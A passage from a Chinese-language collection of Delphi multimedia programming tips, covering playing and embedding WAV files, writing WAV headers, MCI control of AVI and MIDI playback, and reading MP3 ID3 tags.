StandardDataBase := BaseFileName + 'Radar.sdb';

InitAllSignals;
InitDataBase;
ReadWAVFile(K0R,K0B);
ScaleAllData;
end; {InitLinearSystem}

begin {unit initialization code}
InitLinearSystem;
end. {Unit LinearSystem}


让你的电脑发出'滴'声

 messagebeep(0);


混音函数

 mixerGetID 获取指定混频器的标识符
mixerGetLineContrils 检取和一个声频线路相关的一个或多个控件
mixerGetLineInfo 检取混频器有关特有线路的信息
mixerGetNumDevs 返回系统中存在的混频器的数量
mixerMessage 把一个定制混频器驱动器消息直接发送给混频
器驱动器
mixerOpen 打开指定的混频器，在应用程序关闭该句柄前
保证该设备不被移走
mixerSetControlDetails 设置和一个声频指线路相关的单一控件的细节


显示AVI的第一桢

 procedure TForm1.Button1Click(Sender: TObject);
begin
Application.ProcessMessages;
MediaPlayer1.Open;
Application.ProcessMessages;
MediaPlayer1.Step;
Application.ProcessMessages;
MediaPlayer1.Previous;
end;


播放一个wav文件

use mmsystem;
SndPlaySound('hello.wav',SND_FILENAME or SND_SYNC)

///////////////////////////////////
unit PlaySnd1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls;

type
TForm1 = class(TForm)
PlaySndFromFile: TButton;
PlaySndFromMemory: TButton;
PlaySndbyLoadRes: TButton;
PlaySndFromRes: TButton;
procedure PlaySndFromFileClick(Sender: TObject);
procedure PlaySndFromMemoryClick(Sender: TObject);
procedure PlaySndFromResClick(Sender: TObject);
procedure PlaySndbyLoadResClick(Sender: TObject);
private

{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

{$R snddata.res}

uses MMSystem;

procedure TForm1.PlaySndFromFileClick(Sender: TObject);
begin
sndPlaySound('hello.wav',
SND_FILENAME or SND_SYNC);
end;

procedure TForm1.PlaySndFromMemoryClick(Sender: TObject);
var
f:
file;
p: pointer;
fs: integer;
begin
AssignFile(f, 'hello.wav');
Reset(f,1);

  fs := FileSize(f);
GetMem(p, fs);
BlockRead(f, p^,
fs);
CloseFile(f);
sndPlaySound(p,
SND_MEMORY or SND_SYNC);
FreeMem(p, fs);
end;

procedure TForm1.PlaySndFromResClick(Sender: TObject);
begin
PlaySound('HELLO',
hInstance,
SND_RESOURCE or SND_SYNC);
end;

procedure TForm1.PlaySndbyLoadResClick(Sender: TObject);
var
h: THandle;
p: pointer;
begin
h := FindResource(hInstance,
'HELLO',

'WAVE');
h := LoadResource(hInstance, h);
p :=
LockResource(h);
sndPlaySound(p,
SND_MEMORY or SND_SYNC);
UnLockResource(h);
FreeResource(h);
end;

end.


生成一个波文件

Type

TPCMWaveHeader = record

rID : array[0..3] of char; { 'RIFF' Identifier }

rLen : longint;

wID : array[0..3] of char; { 'WAVE' Identifier }

fId : array[0..3] of char; { 'fmt ' Identifier }

fLen : longint; { Fixed, must be 16 }

wFormatTag : word; { Fixed, must be 1 }

nChannels : word; { Mono=1, Stereo=2 }

nSamplesPerSec : longint; { SampleRate in Hertz }

nAvgBytesPerSec : longint;

nBlockAlign : word;

nBitsPerSample : word; { Resolution, e.g. 8 or 16 }

dId : array[0..3]of char; { 'data' Identifier }

dLen : longint; { Number of following data bytes }

end;

procedure WritePCMWaveFile(Filename : string; Resolution, Channels, Samplerate, Samples : integer; Data : Pointer);

var h : TPCMWaveHeader;

f : file;

databytes : integer;

begin

DataBytes:=Samples;

DataBytes:=DataBytes*Channels; { double if stereo }

DataBytes:=DataBytes*(Resolution div 8); { double if 16 Bit }

FillChar(h,SizeOf(TPCMWaveHeader),#0);

with h do

begin

rID[0]:='R';

rID[1]:='I';

rID[2]:='F';

rID[3]:='F'; { 1st identifier }

rLen:=DataBytes+36;

wID[0]:='W';

wID[1]:='A';

wID[2]:='V';

wID[3]:='E'; { 2nd identifier }

fId[0]:='f';

fId[1]:='m';

fId[2]:='t';

fID[3]:=Chr($20); { 3rdidentifier ends with a space character }

fLen:=$10; { Fixed, must be 16 }

wFormatTag:=1; { Fixed, must be 1 }

nChannels:=Channels; { Channels }

nSamplesPerSec:=SampleRate; { Sample rate in Hertz }

nAvgBytesPerSec:=SampleRate*Channels*trunc(Resolution div 8);

nBlockAlign:=Channels*(Resolution div 8); { Byte order, see below }

nBitsPerSample:=Resolution;

dId[0]:='d';

dId[1]:='a';

dId[2]:='t';

dId[3]:='a'; { Data identifier }

dLen:=DataBytes; { number of following data bytes }

end;

AssignFile(f,filename);

ReWrite(f,1);

BlockWrite(f,h,SizeOf(h));

BlockWrite(f,pbytearray(data),databytes);

CloseFile(f);

{ The rest of the file is the wave data. Order is low-high for left channel,

low-high for right channel, and so on.

For mono or 8 bit files make the respective changes. }

end;


把AVI存在资源中用TAnimate播放

Animate1.RESName := 'About';
Animate1.Active := True;


将WAV文件做到EXE文件的方法及注意事项

tsingmei

有关这方面的文章很多，本来我也不想多说，可是最近有的网友说他照着有的文章作了个“工程”，可是怎么也发不出声来，或者就是扬声器的BEEP声。

后来，笔者找到那些资料，照他们的方法也作了一个“工程”；结果和那位网友一样。这到底是为什么呢？

先来说说一般的文章是怎么说的吧。

比较“流行”的说法是：“16位的Delphi 1.0和32位的Delphi2.0、3.0都提供了资源

编译工具，其中 Delphi 1.0的资源编译器叫BRCC.EXE，Delphi 2.0的资源编译器

叫BRCC32.EXE 用来编译32位资源，所有资源编译器都只提供了命令行版本，

没有提供Windows 版本。制作一个资源一般要通过以下几个步骤：

1)编写.RC文件

..RC文件是资源的源文件，编译器也就编译这个文件，生成.RES的

资源文件

首先在我们的项目子目录中建立一个纯文本文件，起名叫

Sound.rc，文件中

有一行，内容为：

SOUND1 WAV SOUND.WAV

其中SOUND.WAV为一个Windows下普通的声音文件

2)编译它

在DOS的提示符下打 BRCC SOUND.RC 硬盘哗啦啦转一会儿后，就编

译完了

3)制作程序

这也是最复杂，最灵活的一步，首先启动Windows, 再启动Delphi，

并且将项目

中的文件保存到我们的项目中的子目录中。 在Unit1.pas中找这么

一行

{$R *.DFM}

把我们的资源文件就声明在后面

{$R SOUND.RES}

然后，在Form1中声明两个全局变量

PtrSound : PChar;

hRes : THandle; {handle to the loaded resource

if 0 indicates nothing playing}

再在Form1的Create事件中写下如下代码

procedure TForm1.FormCreate(Sender: TObject);

var hResInfo : THandle;

begin

hResInfo := FindResource(HInstance, 'SOUND1', 'WAVE');

hRes := LoadResource(HInstance, hResInfo);

if hRes ＞ 32 then {its a good load}

begin {lock the resource}

ptrSound:=LockResource(hRes);

end;

end;

然后在Form1中放一个按钮Button1，写如下代码：

procedure TForm1.Button1Click(Sender: TObject);

begin

sndplaysound(ptrSound,snd_async or snd_Memory);

end;

这时候就可以运行了。”

是真的吗？

其实，资源文件的文件名就根本不能和WAVE文件的一样，否则，呵呵，扬声器就要BEEP啦，不信你试试看。

下面笔者写出可以运行源代码的步骤（当然您的资源文件不能有错的）：

1)编写.RC文件

..RC文件是资源的源文件，编译器也就编译这个文件，生成.RES的资源文件 首先在我们的项目子目录中建立一个纯文本文件，起名叫

pad.rc ,在文件中写一行，内容为：//注意！资源文件名不可以和WAVE文件名一样的！

SOUND1 WAV SOUND.WAV

其中SOUND.WAV为一个Windows下普通的声音文件

2)编译它

在DOS的提示符下打 BRCC32 PAD.RC 一会儿后，就编译完了 //现在已是brcc32啦，不知有的文章怎么还有BRCC？？

3)制作程序

在WINDOWS下启动DELPHI，新建一个项目，将其中的文件保存到我们的项目中的子目录中。 在Unit1.pas中找到

{$R *.DFM}

把我们的资源文件就声明在后面

{$R PAD.RES}

然后，在Form1中声明两个全局变量

PtrSound : PChar;

hRes : THandle; {handle to the loaded resource

if 0 indicates nothing playing}

再在Form1的Create事件中写下如下代码

procedure TForm1.FormCreate(Sender: TObject);

var hResInfo : THandle;

begin

hResInfo := FindResource(HInstance, 'SOUND1', 'WAVE');

hRes := LoadResource(HInstance, hResInfo);

if hRes ＞ 32 then {its a good load}

begin {lock the resource}

ptrSound:=LockResource(hRes);

end;

end;

然后在Form1中放一个按钮Button1，写如下代码：

procedure TForm1.Button1Click(Sender: TObject);

begin

sndplaysound(ptrSound,snd_async or snd_Memory);

end;

点击编译，运行，再按BUTTON1，可以听到扬声器中发出WAVE文件内容。


全屏幕显示AVI

uses Unit2;

procedure TForm1.Button1Click(Sender: TObject);
begin
Form2.Show;
Form2.WindowState := wsMaximized;
Form2.MediaPlayer1.Notify := false;
Form2.MediaPlayer1.Display :=
Form2.Panel1;
Form2.MediaPlayer1.FileName :=
'C:\TheWall\DELCAR2.AVI';
Form2.MediaPlayer1.Open;
Form2.MediaPlayer1.DisplayRect := Form2.ClientRect;
Form2.MediaPlayer1.Play;
end;

{Code for Form 2}

procedure TForm2.MediaPlayer1Notify(Sender: TObject);
begin
if
MediaPlayer1.NotifyValue = nvSuccessful then
Form2.Close;
end;
//////////////////////////////////////////////////////

  public
{ Public-Deklarationen
}
procedure MMNotify(var Message: TMessage); message
MM_MCINOTIFY;
end;

var
Form1 : TForm1;

implementation

{$R *.DFM}

procedure TForm1.Button1Click(Sender: TObject);
begin
mciSendString('open j:\video.avi alias film', nil, 0, 0);
mciSendString('window film handle 0', nil, 0, 0);
mciSendString('window film state show maximized', nil, 0, 0);
mciSendString('play film notify', nil, 0, Form1.Handle);
end;

procedure TForm1.MMNotify(var Message: TMessage);
begin
mciSendString('close film', nil, 0, 0);
end;


循环播放音乐

下面是源代码：

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
MPlayer, StdCtrls;

type
TForm1 = class(TForm)
MediaPlayer1: TMediaPlayer;
Button1: TButton;
OpenDialog1: TOpenDialog;
procedure MediaPlayer1Notify(Sender: TObject);
procedure MediaPlayer1Click(Sender: TObject; Button: TMPBtnType;
var DoDefault: Boolean);
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.MediaPlayer1Notify(Sender: TObject);
begin
with MediaPlayer1 do
begin
if Notify and //接受信息
(mode=mpStopped) then//已经停止
begin
ReWind;
play;
end;
notify:=true;//开始接受信息
end;

end;

procedure TForm1.MediaPlayer1Click(Sender: TObject; Button: TMPBtnType;
var DoDefault: Boolean);
begin
if (Button=btStop) or (Button=btPause) then
MediaPlayer1.Notify:=false
else
MediaPlayer1.Notify:=true;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
if OpenDialog1.Execute then
with MediaPlayer1 do
begin
fileName:=OpenDialog1.FileName;
notify:=true;
try
open;
play;
except
raise exception.Create('打开文件时出错');
end;
caption:='循环播放演示-->'+fileName;
end;
end;

end.
窗体As text代码
object Form1: TForm1
Left = 195
Top = 107
Width = 378
Height = 182
Caption = '循环播放演示'
Color = clBtnFace
Font.Charset = DEFAULT_CHARSET
Font.Color = clWindowText
Font.Height = -11
Font.Name = 'MS Sans Serif'
Font.Style = []
OldCreateOrder = False
PixelsPerInch = 96
TextHeight = 13
object MediaPlayer1: TMediaPlayer
Left = 24
Top = 16
Width = 298
Height = 33
TabOrder = 0
OnClick = MediaPlayer1Click
OnNotify = MediaPlayer1Notify
end
object Button1: TButton
Left = 193
Top = 104
Width = 129
Height = 33
Caption = '打开...'
Default = True
TabOrder = 1
OnClick = Button1Click
end
object OpenDialog1: TOpenDialog
Title = '打开音乐文件'
Left = 294
Top = 32
end
end
////////////////////////////////////////////////////

if FileExists(ExtractFilePath(Application.Exename)+'RunLib\T01.AVI')
then
begin
MediaPlayer1.FileName:=(ExtractFilePath(Application.Exename)+'RunLib\T01.AVI');
MediaPlayer1.Open;
MediaPlayer1.Notify:=true;
MediaPlayer1.Display:=Form2;
MediaPlayer1.DisplayRect:=Form2.ClientRect;
MediaPlayer1.Play;
end;

然后如下让它循环
procedure TForm2.MediaPlayer1Notify(Sender:
TObject);
begin
if MCIStop=1 then Exit;
if
MediaPlayer1.Mode=mpStopped then
begin
MediaPlayer1.Rewind;
MediaPlayer1.Play;
end;
MediaPlayer1.Notify:=true;
end;


播放背景音乐

方法如下：首先需要在uses部分加入mmsystem，接着写入下列语句，其中e:\1.mid为播放的文件，NN为自定义名称标志
procedure TForm1.Button1Click(Sender: Tobject);
begin
//播放音乐
MCISendString('OPEN e:\1.MID TYPE SEQUENCER ALIAS NN', '', 0, 0);
MCISendString('PLAY NN FROM 0', '', 0, 0);
MCISendString('CLOSE ANIMATION', '', 0, 0);
end;

procedure TForm1.Button2Click(Sender:
Tobject);
begin
//停止播放
MCISendString('OPEN e:\1.MID TYPE
SEQUENCER ALIAS NN', '', 0, 0);
MCISendString('STOP NN', '', 0,
0);
MCISendString('CLOSE ANIMATION', '', 0, 0);
end;


编制MP3音乐点歌台

     原理：制作一个MP3播放程序(本文以Winplay3为例)的外壳，建立中文歌曲名与MP3文件的关联，从而实现中文歌名的“点歌”。
    步骤：
    一、新建一个文件
    创建一个新的工程(New Project)和空白窗体(Form1)，将Form1的Caption属性改为“我的点歌台”，在Form1中加入两个Comobobox构件，一个用来显示歌曲所在的专辑，将其Name属性改为zj，一个用来显示中文歌曲名称，将其Name属性改为Gq，在各自的上方分别加入一个Label构件，将其Caption属性改为“专辑选择”和“歌曲选择”，再加入两个Bitbotton构件，将其Caption属性分别设定为“播放”和“退出”。
    二、观察装有MP3文件的光盘的目录特点
    一般的目录都很有规律，如以笔者的一张光盘为例，全盘共分12张专辑，其子目录分别为：c01、c02……c12，分别建立名为c01txt、c02txt……c12txt的文本文件，按顺序输入相应专辑下的中文歌曲名称，注意一个歌曲名占一行，并将其放入当前目录。在Object inspector中，选择zj，双击其Lines属性，然后依次输入专辑的名称，注意一个专辑名称占据一行；选择Gq，双击其Lines属性，删除其默认内容。
    三、编写程序
    在unit1pas的Use语句加入Fmxutils，在Var部分加入一行：
    var filename:string,path;{filename为MP3文件的文件名，path为其路径}
    然后在Form1窗体中，双击zj，加入以下程序：
    procedure TForm1zjChange(Sender:TObject);
    begin
    case zjitemindex of
    08,1020:path:=′e:\c0′＋inttostr(zjitemindex＋1);
    9:path:=′e:\c′＋inttostr　　　(zjitemindex＋1);
    {e为光驱的盘符，据实际情况而定}
    end;
    filename:=inttostr(zjitemindex)＋ ′txt′;
    gqitemsloadfromfile (filename);
    gqtext:=gqItemsstrings [0];
    end;
    {双击Caption属性为“播放”的按钮，加入以下内容}
    procedure TForm1Button1Click(Sender:TObject);
    begin
    case gqitemindex of
    08,1020:filename:=path＋′\′＋′0′＋inttostr(gqitemindex＋1)＋ ′mp3′;
    9:filename:=path＋′\10mp3′;
    else
    filename:=path＋′\01mp3′;
    end;
    executefile(‘winplay3exe’,mpname,′c:\winplay3′,sw_hide);
    {winplay3exe为mp3播放程序的文件名，c:\winplay为其路径,sw_hide表示为后台播放，需根据实际情况灵活确定。}
    end;
    {双击Caption属性为“关闭”的按钮，输入以下内容}
    procedure TForm1Button1Click(Sender:TObject);
    begin
    form1close;
    end;
    四、编译运行
    单击Run图标，程序被编译并运行。此时，单击“专辑选择”下拉框，即会出现各个专辑名称供你选择。同时，在“歌曲选择”中也会出现专辑中所有歌曲的中文名称，选择其一后，单击“播放”按钮，所点歌曲便被播放。这样，一个简单的“点歌台”就制作成功了。 (湖北　杨德军)


可执行文件内置WAVE文件

将*.WAV文件置入可执行文件内部的具体做法如下：

假设我们有个名为GRANARY.WAV的文件，先编辑一个名为 AOE.RC的文件，其内容为： GRANARY WAVE GRANARY.WAV 运行命令BRCC32 AOE.RC，得到AOE.RES。 在DELPHI的项目文件，只要加入{$R AOE.RES}语句，编译 后即可将GRANARY.WAV包含进可执行文件内部。

调用这个WAV文件的方法是 PlaySound('GRANARY',hInstance,SND_RESOURCE);


从MP3文件中提取ID3标记和MPEG桢信息

ScanMP3Folder (Edit1.Text, ListBox1.Items);

procedure ScanMP3Folder (const AFolder : string; AMP3List : TStrings);
var
ds : TDirectoryScanner;
a : TAudioInfo;
Descr : string;
i : integer;
begin
ds :=
TDirectoryScanner.Create;
a :=   TAudioInfo.Create;
try
ds.Recursive := True;
ds.RegExprMask := '\.mp[23]';
ds.BuildFileList
(AFolder);
for i := 0 to ds.Count - 1 do begin
a.LoadFromFile (ds.Item [i].Name);
if a.ID3.Ok
then Descr :=    a.ID3.Artist + ' -
' + a.ID3.Title
else Descr :=
ExtractFileName (ds.Item [i].Name);
Descr := Descr + Format (' (%d sec)', [a.MpegDuration div 1000]);
AMP3List.Add (Descr);
end;
finally begin
a.Free;
ds.Free;
end;
end;
end;

需要使用两个控件
http://anso.virtualave.net/delphi_stuff.htm#TAudioInfo(TAudioInfo)
http://www.delphi3000.com/article.asp?id=1083(TDirectoryScanner)

从MP3文件中获得ID3-Tag(不使用组件)
Sebastian Volland

摘　要：如何从MP3文件中获得ID3-Tag信息? (如歌曲标题、艺术家...)
关键字：MP3 ID3 ID3-Tag
类　别：多媒体

CoDelphi.com版权所有，未经允许，不得进行任何形式转载

每一个MP3文件包含有一个ID3-Tag头, 它用来提供艺术家、标题、专辑、出版年和歌曲流派等信息。这个头总是128字节长并位于MP3文件末尾。

ID3-Tag 结构是这样的:

type
TID3Tag = packed record // 128 字节
TAGID: array[0..2] of char; // 3 字节: 必须是TAG
Title: array[0..29] of char; // 30 字节: 歌曲标题
Artist: array[0..29] of char; // 30 字节: 歌曲的艺术家
Album: array[0..29] of char; // 30 字节: 歌曲专辑
Year: array[0..3] of char; // 4 字节: 出版年
Comment: array[0..29] of char; // 30 字节: 评论
Genre: byte; // 1 字节: 种类标识
end;

为读取ID3-Tag信息并在一个对话框中显示，试试这个函数:

procedure TForm1.Button1Click(Sender: TObject);
const
_mp3file='G:\Mp3\Miscellaneous\ATC - Around The World.mp3';
var
id3tag: Tid3tag;
mp3file: Tfilestream;
begin
mp3file:=Tfilestream.create(_mp3file,fmOpenRead);
try
mp3file.position:=mp3file.size-128; // 跳到id3-tag
mp3file.Read(id3tag,SizeOf(id3tag));
showmessage(' Title: '+id3tag.title+#13+
' Artist: '+id3tag.artist+#13+
' Album: '+id3tag.album+#13+
' Year: '+id3tag.year+#13+
' Comment: '+id3tag.comment+#13+
' Genre-ID: '+inttostr(id3tag.genre)
);
finally
mp3file.free;
end;
end;

这个函数读取_mp3file描述的文件，跳到倒数第128个字节，读取并在对话框中显示信息。
投稿人：grhunter　投稿日期：2001-6-15 23:22:00


开关系统声音提示

关闭：

procedure TForm1.Button1Click(Sender: TObject);
begin SystemParametersInfo(SPI_SETBEEP,0,NIL,SPIF_SENDWININICHANGE);
end;

打开:

procedure TForm1.Button2Click(Sender: TObject);
begin
SystemParametersInfo(SPI_SETBEEP,1,NIL,SPIF_SENDWININICHANGE);
end;


调用声音属性对话框

 winexec('rundll32.exe shell32.dll,Control_RunDLL access.cpl,,2',
SW_SHOWNORMAL);


显示AVI文件的桢数

 procedure TForm1.Button1Click(Sender: TObject);
begin
MediaPlayer1.TimeFormat := tfFrames;
ShowMessage('Number of frames = ' +
IntToStr(MediaPlayer1.Length));
MediaPlayer1.TimeFormat := tfMilliseconds;
ShowMessage('Number of milliseconds = ' +
IntToStr(MediaPlayer1.Length));
end;


显示Audio CD的音轨时间

uses
MMSystem;

procedure TForm1.Timer1Timer(Sender: TObject);
var
Trk : Word;
Min : Word;
Sec : Word;
begin
with MediaPlayer1 do begin
Trk := MCI_TMSF_TRACK(Position);
Min := MCI_TMSF_MINUTE(Position);
Sec := MCI_TMSF_SECOND(Position);
Label1.Caption := Format('%.2d',[Trk]);
Label2.Caption := Format('%.2d:%.2d',[Min,Sec]);
end;
end;


显示媒体时间

var
Minute : byte;

with MyMediaPlayer do
case TimeFormat of
tfHMS : Minutes := MCI_HMS_Minute(Length);
tfMSF : Minutes := MCI_MSF_Minute(Length);
{etc etc}
end;


获得Wav文件的比特率

uses
MMSystem; // and all the other stuff

var
MyError, dwFlags: Longint;
FDeviceID : Word;

procedure TForm1.OpenMedia(WaveFile : string);
var
MyOpenParms: TMCI_Open_Parms;
begin
with MyOpenParms do begin
dwCallback := Handle; // TForm1.Handle
lpstrDeviceType := PChar('WaveAudio');
lpstrElementName := PChar(WaveFile);
end; {with MyOpenParms}
dwFlags := MCI_WAIT or MCI_OPEN_ELEMENT or MCI_OPEN_TYPE;
MyError := mciSendCommand(0, MCI_OPEN, dwFlags, Longint(@MyOpenParms));
// one could use mciSendCommand(DevId, here to specify a particular device
if MyError = 0 then
FDeviceID := MyOpenParms.wDeviceID
else
raise EMyMCIException.Create('Open Failed');
end;

function TForm1.GetStatus(StatusRequested : DWord) : longint;
var
MyStatusParms : TMCI_Status_Parms;
begin
dwFlags := MCI_WAIT or MCI_STATUS_ITEM;
with MyStatusParms do begin
dwCallback := Handle;
dwItem := StatusRequested;
end;
MyError := mciSendCommand(FDeviceID,
MCI_STATUS,
MCI_WAIT or MCI_STATUS_ITEM,
Longint(@MyStatusParms));
if MyError = 0 then
Result := MyStatusParms.dwReturn
else
raise EMyMCIException.Create('Status call to get status of ' +
IntToStr(StatusRequested) + ' Failed');
end;

procedure TForm1.CloseMedia;
var
MyGenParms: TMCI_Generic_Parms;
begin
if FDeviceID > 0 then begin
dwFlags := 0;
MyGenParms.dwCallback := Handle; // TForm1.Handle
MyError := mciSendCommand(FDeviceID, MCI_CLOSE, dwFlags,
Longint(@MyGenParms));
if MyError = 0 then
FDeviceID := 0
else begin
raise EMyMCIException.Create('Close Failed');
end;
end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
OpenMedia('E:\AProject\GR_CLOCK\Sounds\hickory.wav'); // or whatever
filename
with ListBox1.Items do begin
Add('Average Bytes / Sec : ' +
IntToStr(GetStatus(MCI_WAVE_STATUS_AVGBYTESPERSEC)));
Add('Bits / Sample : ' +
IntToStr(GetStatus(MCI_WAVE_STATUS_BITSPERSAMPLE)));
Add('Samples / Sec : ' +
IntToStr(GetStatus(MCI_WAVE_STATUS_SAMPLESPERSEC)));
Add('Channels : ' + IntToStr(GetStatus(MCI_WAVE_STATUS_CHANNELS)));
end;
CloseMedia;
end;


获取Wav文件信息

unit W32Waves;
{ Unit for accessing Windows PCM wave file informations
By Ulli Conrad <uconrad@gmx.net> }

interface
uses SysUtils,Windows,MMSystem,Dialogs;

type
PWaveInformation = ^tWaveInformation;
TWaveInformation = record
WaveFormat : word; { Wave format identifier }
Channels : word; { Mono=1, Stereo=2 }
SampleRate : longint; { Sample rate in Hertz }
BitsPerSample : word; { Resolution, e.g. 8 or 16 Bit }
SamplesNumber : longint; { Number of samples }
Length : extended; { Sample length in seconds }
ValidWave : bool; { Specifies if the file could be read }
end;

const { Constants for wave format identifier }
WAVE_FORMAT_PCM = $0001; { Windows PCM }
WAVE_FORMAT_G723_ADPCM = $0014; { Antex ADPCM }
WAVE_FORMAT_ANTEX_ADPCME = $0033; { Antex ADPCME }
WAVE_FORMAT_G721_ADPCM = $0040; { Antex ADPCM }
WAVE_FORMAT_APTX = $0025; { Audio Processing Technology }
WAVE_FORMAT_AUDIOFILE_AF36 = $0024; { Audiofile, Inc. }
WAVE_FORMAT_AUDIOFILE_AF10 = $0026; { Audiofile, Inc. }
WAVE_FORMAT_CONTROL_RES_VQLPC = $0034; { Control Resources Limited }
WAVE_FORMAT_CONTROL_RES_CR10 = $0037; { Control Resources Limited }
WAVE_FORMAT_CREATIVE_ADPCM = $0200; { Creative ADPCM }
WAVE_FORMAT_DOLBY_AC2 = $0030; { Dolby Laboratories }
WAVE_FORMAT_DSPGROUP_TRUESPEECH = $0022; { DSP Group, Inc }
WAVE_FORMAT_DIGISTD = $0015; { DSP Solutions, Inc. }
WAVE_FORMAT_DIGIFIX = $0016; { DSP Solutions, Inc. }
WAVE_FORMAT_DIGIREAL = $0035; { DSP Solutions, Inc. }
WAVE_FORMAT_DIGIADPCM = $0036; { DSP Solutions ADPCM }
WAVE_FORMAT_ECHOSC1 = $0023; { Echo Speech Corporation }
WAVE_FORMAT_FM_TOWNS_SND = $0300; { Fujitsu Corp. }
WAVE_FORMAT_IBM_CVSD = $0005; { IBM Corporation }
WAVE_FORMAT_OLIGSM = $1000; { Ing C. Olivetti & C., S.p.A. }
WAVE_FORMAT_OLIADPCM = $1001; { Ing C. Olivetti & C., S.p.A. }
WAVE_FORMAT_OLICELP = $1002; { Ing C. Olivetti & C., S.p.A. }
WAVE_FORMAT_OLISBC = $1003; { Ing C. Olivetti & C., S.p.A. }
WAVE_FORMAT_OLIOPR = $1004; { Ing C. Olivetti & C., S.p.A. }
WAVE_FORMAT_IMA_ADPCM = $0011; { Intel ADPCM }
WAVE_FORMAT_DVI_ADPCM = $0011; { Intel ADPCM }
WAVE_FORMAT_UNKNOWN = $0000;
WAVE_FORMAT_ADPCM = $0002; { Microsoft ADPCM }
WAVE_FORMAT_ALAW = $0006; { Microsoft Corporation }
WAVE_FORMAT_MULAW = $0007; { Microsoft Corporation }
WAVE_FORMAT_GSM610 = $0031; { Microsoft Corporation }
WAVE_FORMAT_MPEG = $0050; { Microsoft Corporation }
WAVE_FORMAT_NMS_VBXADPCM = $0038; { Natural MicroSystems ADPCM }
WAVE_FORMAT_OKI_ADPCM = $0010; { OKI ADPCM }
WAVE_FORMAT_SIERRA_ADPCM = $0013; { Sierra ADPCM }
WAVE_FORMAT_SONARC = $0021; { Speech Compression }
WAVE_FORMAT_MEDIASPACE_ADPCM = $0012; { Videologic ADPCM }
WAVE_FORMAT_YAMAHA_ADPCM = $0020; { Yamaha ADPCM }

function GetWaveInformationFromFile(Filename : string;Info : pWaveInformation) : bool;

implementation

type
TCommWaveFmtHeader = record
wFormatTag      :
word;
{ Fixed, must be 1 }
nChannels       :
word;
{ Mono=1, Stereo=2 }
nSamplesPerSec  :
longint;
{ SampleRate in Hertz }
nAvgBytesPerSec : longint;
nBlockAlign     : word;
nBitsPerSample  :
word;
{ Resolution, e.g. 8 or 16 }
cbSize          :
longint;
{ Size of extra information in the extended fmt Header }
end;

function GetWaveInformationFromFile(Filename : string;Info :
pWaveInformation) : bool;
var
hdmmio : HMMIO;
mmckinfoParent : TMMCKInfo;
mmckinfoSubchunk : TMMCKInfo;
Fmt : TCommWaveFmtHeader;
Samples : longint;

begin
Result:=false;
FillChar(Info^,SizeOf(TWaveInformation),#0); { Initialize first }
hdmmio:=mmioOpen(PChar(Filename),nil,MMIO_READ);
if (hdmmio = 0) then
exit;
{* Locate a 'RIFF' chunk with a 'WAVE' form type
* to make sure it's a WAVE file.
*}
mmckinfoParent.fccType:=mmioStringToFOURCC('WAVE',MMIO_TOUPPER);
if (mmioDescend(hdmmio,PMMCKINFO(@mmckinfoParent), nil, MMIO_FINDRIFF)<>0) then
exit;
{* Now, find the format chunk (form type 'fmt '). It should be
* a subchunk of the 'RIFF' parent chunk.
*}
mmckinfoSubchunk.ckid:=mmioStringToFOURCC('fmt ',0);
if (mmioDescend(hdmmio, @mmckinfoSubchunk, @mmckinfoParent, MMIO_FINDCHUNK) <> 0) then
exit;

// Read the format chunk.
if (mmioRead(hdmmio,PChar(@fmt),Longint(sizeof(TCommWaveFmtHeader))) <> Longint(sizeof(TCommWaveFmtHeader))) then
exit;
Info^.WaveFormat:=fmt.wFormatTag;
Info^.Channels:=fmt.nChannels;
Info^.SampleRate:=fmt.nSamplesPerSec;
Info^.BitsPerSample:=fmt.nBitsPerSample;
mmioAscend(hdmmio, @mmckinfoSubchunk, 0); // Ascend out of the format subchunk.
mmckinfoSubchunk.ckid := mmioStringToFOURCC('data',0); // Find the data subchunk.
if (mmioDescend(hdmmio, @mmckinfoSubchunk, @mmckinfoParent, MMIO_FINDCHUNK) <> 0) then
exit;
Info^.SamplesNumber:=mmckinfoSubchunk.cksize; // Get the size of the data subchunk.

  Samples:=(Info^.SamplesNumber*8*Info^.Channels) div
Info^.BitsPerSample;
Info^.Length:=Samples/Info^.Samplerate;
mmioClose(hdmmio, 0); // We're done with the file, close it.
Info^.ValidWave:=true;
Result:=true;
end;

end.
/////////////////////////////////////////////////////////////
procedure TASyncPlayTestF.PlaySound(WaveRes : string);
{plays a WAV resource - called only if no resource is playing}
var
PtrRes : PChar;
hResInfo : THandle;
ResLength : longint;
temp, ResTime {mSecs} : integer;
const
RT_WAVE : PChar = 'WAVE'; {my resource type}
begin
{find resource}
hResInfo := FindResource(HInstance, StrAsPChar(WaveRes), RT_WAVE);

if hResInfo <> 0 then {found the rssource}
begin
{load the resource}
hRes := LoadResource(HInstance, hResInfo);
if hRes > 32 then {its a good load}
begin
{lock the resource}
PtrRes := LockResource(hRes);
{calculate sound run time from data in resource}
ResLength := longint(Byte(Ptr(hRes, 6)^)) * 65536
+ longint(Byte(Ptr(hRes, 5)^)) * 256
+ Byte(Ptr(hRes, 4)^);
case Byte(Ptr(hRes,24)^) of

$11 : {telephone quality - 8 bit mono 11.025Kb/s}
temp := ResLength div 11;
$22 : {radio quality - 8 bit mono 22.050Kb/s}
temp := ResLength div 22;
$44 : {CD quality - 16 bit stereo 44.1/sec = 176.4Kb/s}
temp := ResLength div 176;
end;
ResTime := temp - (temp div 440); {=/11.025, 22.050 etc - 440 takes care
of decimal fraction}
{set timer}
Timer1.Interval := ResTime;
Timer1.Enabled := true;
sndPlaySound(PtrRes, snd_ASync or snd_Memory); {play sound}

end
else . . . . etc etc


设定左右声道

 用Mcisendstring("set left audio on")


控制音量及平衡

当你做一个多媒体播放器时，难免少不了控制音量的大小和左右声道的播放，下面就介绍一种控制Wave波形输出设备音量的方法，该方法不是设置主音量。先在窗体上放两个TTrackBar，分别命名为TrackBar1，TrackBar2，属性Max都设置为65535，如果觉得刻度太密了，可以把Frequency属性值设置大一些，然后在Uses段加入MMSystem，并在TrackBar1和TrackBar2的OnChange事件都写上下列语句：

procedure TForm1.TrackBar1Change(Sender: Tobject);
var
Wave:string;
begin
